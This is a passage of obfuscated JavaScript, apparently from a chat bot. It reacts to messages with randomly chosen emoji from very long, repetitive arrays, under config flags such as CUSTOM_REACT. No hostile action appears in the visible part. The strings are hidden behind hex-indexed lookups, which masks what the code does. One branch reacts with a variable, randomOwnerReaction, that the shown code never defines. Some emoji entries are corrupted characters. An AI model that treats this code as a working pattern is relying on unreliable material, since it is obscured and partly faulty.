,'🔹','🔺','💯','👑','🤣',_0x50c532(0x2de),_0x50c532(0x310),_0x50c532(0x2ec),_0x50c532(0x213),'🙆♂️','🙆♀️',_0x50c532(0x2fc),'🤦♀️','🏻',_0x50c532(0x1bf),_0x50c532(0x257),_0x50c532(0x2a9),'🕴♀️','💇♂️',_0x50c532(0x1fe),'🚫','🚽','🕳️','💣','🔫',_0x50c532(0x1ec),'🕸️','💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x50c532(0x27e),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷',_0x50c532(0x371),'💡','🔦','�','🏯','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x50c532(0x1f5),'💣','🔫','🕷️',_0x50c532(0x28b),'💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮','🕴️','💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🌳','🌲','🌾','🌿','🍃','🍂','🍃','🌻','💐','🌹','🌺','🌸','🌴','🏵','🎀','🏆','🏈','🏉','🎯','🏀','🏊','🏋','🏌','🎲','📚','📖','📜','📝','💭','💬','🗣','💫','🌟','🌠','🎉','🎊','👏','💥','🔥','💥','🌪','💨','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌱','🌿','🍃','🍂','🌻','💐','🌹','🌺','🌸','🌴','🏵','🎀','🏆','🏈','🏉','🎯','🏀','🏊','🏋','🏌','🎲','📚','📖','📜','📝','💭','💬','🗣','💫','🌟','🌠','🎉','🎊','👏','💥','🔥','💥','🌪','💨','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x50c532(0x1f5),'💣','🔫',_0x50c532(0x1ec),_0x50c532(0x28b),'💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x50c532(0x27e),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬','📽️','📸','📷',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🐒','🦍','🦧','⚡','🍁','🦮',_0x50c532(0x374),'🐩','🐺','🦊','🦝','🐱','🐈','🐈⬛','🦁','🐯','🐅','🐆','🐴','🐎','🦄','🦓','🦌','🦬','🐮','🐂','🐃','🐄','🐷','🐖','🐗','🐽','🐏','🐑','🐐','🐪','🐫','🦙','🦒','🐘','🦣','🦏','🦛','🐭','🐁','🐀','🐹','🐰','🐇',_0x50c532(0x1fd),'🦫','🦔','🦇','🐻',_0x50c532(0x34e),'🐨','🐼','🦥','🦦','🦨','🦘','🦡','🐾','🦃','🐔','🐓','🐣','🐤','🐥','🐦','🐧',_0x50c532(0x1a6),'🦅','🦆','🦢','🦉','🦤','🪶','🦩','🦚','🦜','🐸','🐊','🐢','🦎','🐍','🐲','🐉','🦕','🦖','🐳','🐋','🐬','🦭','🐟','🐠','😀','😃','😄','😁','😆','😅','🤣','😂','🙂','🙃','😉','😊','😇','🥰','😍','🤩','😘','😗','☺️','😚','😙','🥲','😋','😛','😜','🤪','😝','🤑','🤗','🤭','🤫','🤔','🤐','🤨','😐','😑','😶',_0x50c532(0x2a4),'😏','😒','🙄','😬','😮💨','🤥','😌','😔','😪','🤤','😴','😷','🤒','🤕','👻','👑','🤧','🥵','🥶','🥴','😵',_0x50c532(0x24f),'🤯','🤠','🥳','🥸','😎','🤓','🧐','😕','😟','🙁','☹️','😮','😯','😲','😳','🥺','😦','😧','😨','😰','😥','😢','😭','😱','😖','😣','😞','😓','😩','😫','🥱','😤','🕷️','😠','🤬','😈','👿','💀','☠️','💩','🤡','👹','👺','👻','👽','👾','🤖','😺','😸','😹','😻','😼','😽','🙀','😿','😾','🙈','🙉','🙊','💋','💌','💘','💝','💖','💗','💓','💞','💕','💟','❣️','💔',_0x50c532(0x27f),_0x50c532(0x1d2),'❤️','🧡','💛','💚','💙','💜','🤎','🖤','🤍','💯','💢','💥','💫','💦','💨',_0x50c532(0x1f5),'💣','💬',_0x50c532(0x296),_0x50c532(0x28c),_0x50c532(0x224),'💭','💤','👋','🤚',_0x50c532(0x24e),'✋','🖖','👌','🤌','🤏','✌️','🤞','🤟','🤘','🤙','👈','👉','👆',_0x50c532(0x1d2),'👇','☝️','👍','👎','✊','👊','🤛','🤜','👏','🙌','👐','🤲','🤝','🙏','✍️','💅','🤳','💪','🦾','🦿','🦵','🦶','👂','🦻','👃','🧠','🫀','🫁','🦷','🦴','👀',_0x50c532(0x2f5),'👅','👄','👶','🧒','👦','👧','🧑','👱','👨','🧔',_0x50c532(0x311),_0x50c532(0x1c3),_0x50c532(0x21f),_0x50c532(0x20a),'👨🦳','👨🦲','👩',_0x50c532(0x25b),_0x50c532(0x316),_0x50c532(0x37c),'🧑🦱',_0x50c532(0x2c8),_0x50c532(0x2b0),_0x50c532(0x270),_0x50c532(0x1e8),_0x50c532(0x26e),_0x50c532(0x317),'🧓','👴','👵','🙍','🙍♂️',_0x50c532(0x2f0),'🙎',_0x50c532(0x21e),_0x50c532(0x2ce),'🙅',_0x50c532(0x2ec),_0x50c532(0x213),'🙆',_0x50c532(0x27d),_0x50c532(0x2a2),'💁','💁♂️',_0x50c532(0x252),'🙋','🙋♂️',_0x50c532(0x20e),'🧏','🧏♂️',_0x50c532(0x251),'🙇',_0x50c532(0x31a),_0x50c532(0x217),'🤦','🤦♂️',_0x50c532(0x23a),'🤷',_0x50c532(0x2de),'🤷♀️',_0x50c532(0x258),_0x50c532(0x348),_0x50c532(0x32e),'🧑🎓',_0x50c532(0x361),'👩🎓',_0x50c532(0x1a2),'👨🏫','👩🏫','🧑⚖️','👨⚖️',_0x50c532(0x280),_0x50c532(0x210),_0x50c532(0x33a),_0x50c532(0x292),'🧑🍳',_0x50c532(0x1ab),_0x50c532(0x1ef),'🧑🔧','👨🔧',_0x50c532(0x32a),'🧑🏭',_0x50c532(0x34b),_0x50c532(0x260),_0x50c532(0x32f),'👨💼',_0x50c532(0x357),_0x50c532(0x284),_0x50c532(0x2b4),_0x50c532(0x1d1),_0x50c532(0x370),_0x50c532(0x2db),'👩💻','🧑🎤','👨🎤',_0x50c532(0x2aa),_0x50c532(0x336),_0x50c532(0x1f4),_0x50c532(0x268),_0x50c532(0x329),_0x50c532(0x319),'👩✈️',_0x50c532(0x355),_0x50c532(0x220),_0x50c532(0x207),'🧑🚒','👨🚒',_0x50c532(0x2b2),'👮','👮♂️',_0x50c532(0x295),'🕵️',_0x50c532(0x24d),_0x50c532(0x2d0),'💂',_0x50c532(0x1ba),_0x50c532(0x323),'🥷','👷',_0x50c532(0x2f9),'👷♀️','🤴','👸','👳',_0x50c532(0x303),'👳♀️','👲','🧕','🤵',_0x50c532(0x240),_0x50c532(0x27c),'👰',_0x50c532(0x27b),_0x50c532(0x364),'🤰','🤱',_0x50c532(0x2d7),_0x50c532(0x34f),_0x50c532(0x261),'👼','🎅','🤶',_0x50c532(0x2e9),'🦸',_0x50c532(0x2d8),'🦸♀️','🦹',_0x50c532(0x256),_0x50c532(0x206),'🧙',_0x50c532(0x26a),'🧙♀️','🧚',_0x50c532(0x35c),_0x50c532(0x274),'🧛',_0x50c532(0x1f6),_0x50c532(0x2e0),'🧜',_0x50c532(0x299),_0x50c532(0x307),'🧝','🧝♂️',_0x50c532(0x2dd),'🧞','🧞♂️',_0x50c532(0x266),'🧟',_0x50c532(0x2a1),_0x50c532(0x289),'💆',_0x50c532(0x1bf),_0x50c532(0x257),'💇',_0x50c532(0x33b),'💇♀️','🚶',_0x50c532(0x203),_0x50c532(0x288),'🧍',_0x50c532(0x283),_0x50c532(0x238),'🧎','🧎♂️',_0x50c532(0x1eb),_0x50c532(0x2fe),'👨🦯',_0x50c532(0x281),_0x50c532(0x25f),'👨🦼','👩🦼',_0x50c532(0x349),_0x50c532(0x1ad),_0x50c532(0x1d9),'🏃','🏃♂️','🏃♀️','💃','🕺',_0x50c532(0x27e),'👯',_0x50c532(0x291),_0x50c532(0x37b),'🧖',_0x50c532(0x1f1),_0x50c532(0x239),'🧗','🧗♂️',_0x50c532(0x2f6),'🤺','🏇','⛷️','🏂',_0x50c532(0x2c9),_0x50c532(0x279),_0x50c532(0x1e6),'🏄',_0x50c532(0x1bc),_0x50c532(0x29e),'🚣',_0x50c532(0x1f9),_0x50c532(0x29c),'🏊','🏊♂️','🏊♀️','⛹️',_0x50c532(0x2d6),_0x50c532(0x1ac),'🏋️',_0x50c532(0x2be),_0x50c532(0x2d1),'🚴',_0x50c532(0x36b),_0x50c532(0x285),'🚵','🚵♂️',_0x50c532(0x1ff),'🤸',_0x50c532(0x37a),_0x50c532(0x2d5),'🤼',_0x50c532(0x250),_0x50c532(0x1ea),'🤽',_0x50c532(0x30c),_0x50c532(0x20f),'🤾',_0x50c532(0x267),_0x50c532(0x25a),'🤹',_0x50c532(0x30e),_0x50c532(0x2ac),'🧘',_0x50c532(0x235),_0x50c532(0x293),'🛀','🛌',_0x50c532(0x373),'👭','👫','👬','💏',_0x50c532(0x275),_0x50c532(0x2b1),'👩❤️💋👩','💑',_0x50c532(0x347),_0x50c532(0x365),_0x50c532(0x339),'👪',_0x50c532(0x205),'👨👩👧',_0x50c532(0x20b),_0x50c532(0x200),_0x50c532(0x219),'👨👨👦',_0x50c532(0x312),_0x50c532(0x234),_0x50c532(0x2b3),'👨👨👧👧','👩👩👦',_0x50c532(0x2c6),_0x50c532(0x33f),'👩👩👦👦',_0x50c532(0x2d4),_0x50c532(0x1ce),'👨👦👦',_0x50c532(0x2da),_0x50c532(0x1c1),_0x50c532(0x1a4),'👩👦',_0x50c532(0x1b1),_0x50c532(0x321),_0x50c532(0x1a3),_0x50c532(0x249),'🗣️','👤','👥','🫂','👣','🦰','🦱','🦳','🦲','🐵'],_0xd595f5=_0x32b63d[Math[_0x50c532(0x1ae)](Math[_0x50c532(0x1db)]()*_0x32b63d[_0x50c532(0x25c)])];_0x1a54cd[_0x50c532(0x36c)](_0xd595f5);}}if(!_0x5cff93&&_0x1e3d4b===_0x55fcd1){if(config[_0x50c532(0x2d2)]==='true'){const _0x36e9ef=['😊','👍','😂','💯','🔥','🙏','🎉','👏','😎','🤖','👫','👭','👬','👮','🕴️','💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷','🕯️','💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽','🕳️','💣','🔫',_0x50c532(0x1ec),_0x50c532(0x28b),'💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮','🕴️','💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽','🕳️','💣','🔫',_0x50c532(0x1ec),'🕸️','💀','👻','🕺','💃','🕴️','👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x50c532(0x27e),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x50c532(0x1f5),'💣','🔫',_0x50c532(0x1ec),_0x50c532(0x28b),'💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','🙂','😑','🤣','😍','😘','😗','😙','😚','😛','😝','😞','😟','😠',_0x50c532(0x1ec),'😢','😭','😓','😳','😴','😌','😆','😂','🤔','😒','😓','😶','🙄','⚡','🐱','🐔','🐷','🐴','🐲','🐸','🐳','🐋','🐒','🐑','🍁','🐩','🍔','🍕','🥤','🍣','🍲','🍴','🍽','🍹','🍸','🎂','📱','📺','📻','🎤','📚','💻','📸','📷','❤️','💔','❣️','☀️','🌙','🌃','🏠','🚪',_0x50c532(0x2a3),_0x50c532(0x1b0),_0x50c532(0x2c7),_0x50c532(0x2b6),_0x50c532(0x1d8),_0x50c532(0x1d3),_0x50c532(0x331),'👍','👎','👏','👫','👭','👬','👮','🤝','🙏','👑','🌻','���','🌸','🌹','🌴',_0x50c532(0x1a9),'🌊','🚗','🚌','🛣️',_0x50c532(0x322),_0x50c532(0x2cf),'🚣','🛥','🚂','🚁','🚀',_0x50c532(0x246),_0x50c532(0x2d1),_0x50c532(0x35d),_0x50c532(0x1bc),'🎾','🏀','🏈','🎯','🏆','??','⬆️','⬇️','⇒','⇐','↩️','↪️','ℹ️','‼️','⁉️','‽️','©️','®️','™️','🔴','🔵','🟢','🔹','🔺','💯','👑','🤣',_0x50c532(0x2de),_0x50c532(0x310),'🙅♂️',_0x50c532(0x213),_0x50c532(0x27d),'🙆♀️','🤦♂️',_0x50c532(0x23a),'🏻','💆♂️',_0x50c532(0x257),_0x50c532(0x2a9),'🕴♀️',_0x50c532(0x33b),_0x50c532(0x1fe),'🚫','🚽',_0x50c532(0x1f5),'💣','🔫',_0x50c532(0x1ec),_0x50c532(0x28b),'💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x50c532(0x27e),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬','📽️','📸','📷','🕯️','💡','🔦','�','🏯','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x50c532(0x1f5),'💣','🔫','🕷️',_0x50c532(0x28b),'💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x50c532(0x27e),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🌳','🌲','🌾','🌿','🍃','🍂','🍃','🌻','💐','🌹','🌺','🌸','🌴','🏵','🎀','🏆','🏈','🏉','🎯','🏀','🏊','🏋','🏌','🎲','📚','📖','📜','📝','💭','💬','🗣','💫','🌟','🌠','🎉','🎊','👏','💥','🔥','💥','🌪','💨','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌱','🌿','🍃','🍂','🌻','💐','🌹','🌺','🌸','🌴','🏵','🎀','🏆','🏈','🏉','🎯','🏀','🏊','🏋','🏌','🎲','📚','📖','📜','📝','💭','💬','🗣','💫','🌟','🌠','🎉','🎊','👏','💥','🔥','💥','🌪','💨','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x50c532(0x1f5),'💣','🔫','🕷️','🕸️','💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x50c532(0x27e),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷','🕯️','💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞','🕷️','🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🐒','🦍','🦧','⚡','🍁','🦮',_0x50c532(0x374),'🐩','🐺','🦊','🦝','🐱','🐈',_0x50c532(0x29d),'🦁','🐯','🐅','🐆','🐴','🐎','🦄','🦓','🦌','🦬','🐮','🐂','🐃','🐄','🐷','🐖','🐗','🐽','🐏','🐑','🐐','🐪','🐫','🦙','🦒','🐘','🦣','🦏','🦛','🐭','🐁','🐀','🐹','🐰','🐇','🐿️','🦫','🦔','🦇','🐻',_0x50c532(0x34e),'🐨','🐼','🦥','🦦','🦨','🦘','🦡','🐾','🦃','🐔','🐓','🐣','🐤','🐥','🐦','🐧',_0x50c532(0x1a6),'🦅','🦆','🦢','🦉','🦤','🪶','🦩','🦚','🦜','🐸','🐊','🐢','🦎','🐍','🐲','🐉','🦕','🦖','🐳','🐋','🐬','🦭','🐟','🐠','😀','😃','😄','😁','😆','😅','🤣','😂','🙂','🙃','😉','😊','😇','🥰','😍','🤩','😘','😗','☺️','😚','😙','🥲','😋','😛','😜','🤪','😝','🤑','🤗','🤭','🤫','🤔','🤐','🤨','😐','😑','😶',_0x50c532(0x2a4),'😏','😒','🙄','😬','😮💨','🤥','😌','😔','😪','🤤','😴','😷','🤒','🤕','👻','👑','🤧','🥵','🥶','🥴','😵',_0x50c532(0x24f),'🤯','🤠','🥳','🥸','😎','🤓','🧐','😕','😟','🙁','☹️','😮','😯','😲','😳','🥺','😦','😧','😨','😰','😥','😢','😭','😱','😖','😣','😞','😓','😩','😫','🥱','😤',_0x50c532(0x1ec),'😠','🤬','😈','👿','💀','☠️','💩','🤡','👹','👺','👻','👽','👾','🤖','😺','😸','😹','😻','😼','😽','🙀','😿','😾','🙈','🙉','🙊','💋','💌','💘','💝','💖','💗','💓','💞','💕','💟','❣️','💔',_0x50c532(0x27f),_0x50c532(0x1d2),'❤️','🧡','💛','💚','💙','💜','🤎','🖤','🤍','💯','💢','💥','💫','💦','💨',_0x50c532(0x1f5),'💣','💬','👁️🗨️',_0x50c532(0x28c),_0x50c532(0x224),'💭','💤','👋','🤚',_0x50c532(0x24e),'✋','🖖','👌','🤌','🤏','✌️','🤞','🤟','🤘','🤙','👈','👉','👆',_0x50c532(0x1d2),'👇','☝️','👍','👎','✊','👊','🤛','🤜','👏','🙌','👐','🤲','🤝','🙏','✍️','💅','🤳','💪','🦾','🦿','🦵','🦶','👂','🦻','👃','🧠','🫀','🫁','🦷','🦴','👀','👁️','👅','👄','👶','🧒','👦','👧','🧑','👱','👨','🧔','🧔♂️',_0x50c532(0x1c3),_0x50c532(0x21f),_0x50c532(0x20a),'👨🦳',_0x50c532(0x248),'👩',_0x50c532(0x25b),_0x50c532(0x316),_0x50c532(0x37c),_0x50c532(0x28a),_0x50c532(0x2c8),'🧑🦳',_0x50c532(0x270),'🧑🦲','👱♀️',_0x50c532(0x317),'🧓','👴','👵','🙍',_0x50c532(0x35a),_0x50c532(0x2f0),'🙎',_0x50c532(0x21e),_0x50c532(0x2ce),'🙅',_0x50c532(0x2ec),_0x50c532(0x213),'🙆','🙆♂️',_0x50c532(0x2a2),'💁',_0x50c532(0x20d),_0x50c532(0x252),'🙋',_0x50c532(0x24c),'🙋♀️','🧏',_0x50c532(0x271),'🧏♀️','🙇',_0x50c532(0x31a),_0x50c532(0x217),'🤦','🤦♂️','🤦♀️','🤷',_0x50c532(0x2de),_0x50c532(0x310),'🧑⚕️',_0x50c532(0x348),'👩⚕️',_0x50c532(0x247),_0x50c532(0x361),_0x50c532(0x328),_0x50c532(0x1a2),'👨🏫',_0x50c532(0x227),_0x50c532(0x278),_0x50c532(0x2e4),_0x50c532(0x280),_0x50c532(0x210),'👨🌾',_0x50c532(0x292),_0x50c532(0x1da),_0x50c532(0x1ab),_0x50c532(0x1ef),_0x50c532(0x22a),_0x50c532(0x28e),_0x50c532(0x32a),_0x50c532(0x1d7),_0x50c532(0x34b),_0x50c532(0x260),_0x50c532(0x32f),_0x50c532(0x2e3),_0x50c532(0x357),_0x50c532(0x284),_0x50c532(0x2b4),'👩🔬','🧑💻',_0x50c532(0x2db),'👩💻',_0x50c532(0x330),'👨🎤',_0x50c532(0x2aa),'🧑🎨',_0x50c532(0x1f4),_0x50c532(0x268),_0x50c532(0x329),_0x50c532(0x319),_0x50c532(0x269),_0x50c532(0x355),_0x50c532(0x220),'👩🚀',_0x50c532(0x30b),'👨🚒',_0x50c532(0x2b2),'👮',_0x50c532(0x204),_0x50c532(0x295),_0x50c532(0x366),_0x50c532(0x24d),_0x50c532(0x2d0),'💂',_0x50c532(0x1ba),_0x50c532(0x323),'🥷','👷','👷♂️',_0x50c532(0x36a),'🤴','👸','👳',_0x50c532(0x303),_0x50c532(0x368),'👲','🧕','🤵','🤵♂️',_0x50c532(0x27c),'👰',_0x50c532(0x27b),_0x50c532(0x364),'🤰','🤱',_0x50c532(0x2d7),_0x50c532(0x34f),_0x50c532(0x261),'👼','🎅','🤶','🧑🎄','🦸',_0x50c532(0x2d8),_0x50c532(0x37f),'🦹',_0x50c532(0x256),'🦹♀️','🧙','🧙♂️',_0x50c532(0x2c0),'🧚',_0x50c532(0x35c),_0x50c532(0x274),'🧛',_0x50c532(0x1f6),_0x50c532(0x2e0),'🧜',_0x50c532(0x299),'🧜♀️','🧝',_0x50c532(0x262),_0x50c532(0x2dd),'🧞',_0x50c532(0x313),'🧞♀️','🧟',_0x50c532(0x2a1),_0x50c532(0x289),'💆',_0x50c532(0x1bf),_0x50c532(0x257),'💇',_0x50c532(0x33b),_0x50c532(0x1fe),'🚶',_0x50c532(0x203),_0x50c532(0x288),'🧍',_0x50c532(0x283),_0x50c532(0x238),'🧎',_0x50c532(0x297),_0x50c532(0x1eb),_0x50c532(0x2fe),_0x50c532(0x36e),_0x50c532(0x281),_0x50c532(0x25f),_0x50c532(0x2a5),'👩🦼','🧑🦽','👨🦽','👩🦽','🏃',_0x50c532(0x246),_0x50c532(0x344),'💃','🕺',_0x50c532(0x27e),'👯',_0x50c532(0x291),_0x50c532(0x37b),'🧖',_0x50c532(0x1f1),_0x50c532(0x239),'🧗',_0x50c532(0x1f3),_0x50c532(0x2f6),'🤺','🏇','⛷️','🏂',_0x50c532(0x2c9),_0x50c532(0x279),'🏌️♀️','🏄',_0x50c532(0x1bc),_0x50c532(0x29e),'🚣',_0x50c532(0x1f9),_0x50c532(0x29c),'🏊',_0x50c532(0x35d),_0x50c532(0x337),'⛹️',_0x50c532(0x2d6),'⛹️♀️',_0x50c532(0x2ee),_0x50c532(0x2be),_0x50c532(0x2d1),'🚴','🚴♂️',_0x50c532(0x285),'🚵',_0x50c532(0x282),_0x50c532(0x1ff),'🤸',_0x50c532(0x37a),'🤸♀️','🤼',_0x50c532(0x250),'🤼♀️','🤽',_0x50c532(0x30c),'🤽♀️','🤾','🤾♂️',_0x50c532(0x25a),'🤹',_0x50c532(0x30e),'🤹♀️','🧘','🧘♂️','🧘♀️','🛀','🛌',_0x50c532(0x373),'👭','👫','👬','💏','👩❤️💋👨',_0x50c532(0x2b1),_0x50c532(0x21d),'💑',_0x50c532(0x347),'👨❤️👨',_0x50c532(0x339),'👪',_0x50c532(0x205),'👨👩👧',_0x50c532(0x20b),_0x50c532(0x200),_0x50c532(0x219),_0x50c532(0x25e),_0x50c532(0x312),_0x50c532(0x234),_0x50c532(0x2b3),'👨👨👧👧',_0x50c532(0x2fb),_0x50c532(0x2c6),_0x50c532(0x33f),_0x50c532(0x1b7),_0x50c532(0x2d4),'👨👦',_0x50c532(0x31b),'👨👧',_0x50c532(0x1c1),_0x50c532(0x1a4),'👩👦',_0x50c532(0x1b1),_0x50c532(0x321),_0x50c532(0x1a3),'👩👧👧',_0x50c532(0x265),'👤','👥','🫂','👣','🦰','🦱','🦳','🦲','🐵'],_0x41eb63=_0x36e9ef[Math[_0x50c532(0x1ae)](Math['random']()*_0x36e9ef[_0x50c532(0x25c)])];_0x1a54cd['react'](randomOwnerReaction);}}if(!_0x5cff93&&_0x1e3d4b!==_0x55fcd1){if(config[_0x50c532(0x1d4)]==='true'){const _0x104e69=(config[_0x50c532(0x1e0)]||_0x50c532(0x201))['split'](','),_0x8de441=_0x104e69[Math[_0x50c532(0x1ae)](Math[_0x50c532(0x1db)]()*_0x104e69[_0x50c532(0x25c)])];_0x1a54cd[_0x50c532(0x36c)](_0x8de441);}}if(!_0x5cff93&&_0x1e3d4b===_0x55fcd1){if(config['CUSTOM_REACT']===_0x50c532(0x2f8)){const 